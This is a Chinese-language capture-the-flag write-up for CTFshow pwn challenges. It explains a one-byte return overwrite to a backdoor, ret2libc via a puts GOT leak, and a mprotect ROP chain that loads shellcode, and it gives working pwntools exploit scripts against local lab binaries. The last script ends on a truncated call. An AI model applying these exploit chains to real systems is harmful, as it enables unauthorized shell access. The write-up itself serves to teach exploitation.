有后门(/bin/sh)
先用checksec指令查看:只有NX保护且为64位。
用64位IDA打开
发现有栈溢出且溢出了一个字节,shift+f12查看发现有后门函数
双击跟进确认后门函数的地址位0x401209
通过调试发现,main函数与后门函数的地址相差一个字节,所以将09打包成一个字节。
编写脚本:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=process("./pwn1")
elf=ELF("./pwn1")
def bug():
gdb.attach(p)
pause()
pay=b'a'*(0x20+8)+p8(0x9)
bug()
p.send(pay)
p.interactive()
本地调试成功!
ret2libc例题
先用checksec指令查看:只有NX保护且为64位。
用64位IDA打开
双击进入ctfshow函数,发现存在栈溢出
通过shift+f12查看是否有后门函数
通过观察IDA中左边的函数,发现没有后门函数,也没有system函数考虑使用ret2libc解题。
64位的传参方式是靠寄存器
一般的寄存器(rdi , rsi , rdx)
动态链接库elf文件想要执行,先跳转到libc信息库,然后才能运行
如果把libc与elf放在一起,就是一个静态链接库,程序可正常运行。
静态链接库内存占用比较大,动态链接库占用很小,只有特定几个函数代码。
动态链接库elf文件想要执行,先跳转到libc信息库,然后才能运行。
elf跟libc是两个单独的文件,elf里的函数想要执行,就得先进入plt表,然后在进入got,got表里的是函数的真实地址。
编写脚本:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
gdb.attach(p)
pause()
main=0x400745
pop_rdi=0x00000000004007e3
payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
p.sendline(payload)
#leek libc_base================================================
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
#==============================================================
payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(pop_rdi+1)+p64(system)
bug()
p.sendline(payload)
p.interactive()
通过下面这行脚本找到寄存器的地址
ROPgadget --binary pwn2 --only 'pop|ret'
下面这些代码是通过gdb在libc库里面找到的libc基址以及函数的真实地址
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(pop_rdi+1)+p64(system)
这里p64(pop_rdi+1)是因为在调试的时候我们会发现存在栈对齐
第二种方法:
通过shift+f12观察到让我们使用mprotect函数解题
先了解一下mprotect函数
mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值)
mprotect(start_addr,len,prot)
len一般为很大的数(如:0x1000)
post (7为可读可写可执行)
例如:
mprotect(0x80EB000,0x1000,7)
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn2")
def bug():
gdb.attach(p)
pause()
ctfshow_addr=0x400637
rdi=0x00000000004007e3
p.recvuntil("Hello CTFshow\n")
pay=b'a'*(0x20+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(ctfshow_addr)
bug()
p.sendline(pay)
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
mprotect=libc_base+libc.sym['mprotect']
bss=0x602000
rdi=libc_base+0x0000000000023b6a
rsi=libc_base+0x000000000002601f
rdx_r12=libc_base+0x0000000000119431
p.recvuntil("Hello CTFshow\n")
pay=b'a'*(0x20+8)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(rdi)+p64(bss)+p64(elf.plt['gets'])+p64(bss)
p.sendline(pay)
pause()
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive(
运用mprotect函数来获取权限
结合libc,shellcode
shellcode与system("bin/sh")的作用相同
asm(shellcraft.sh())是生成shellcode的代码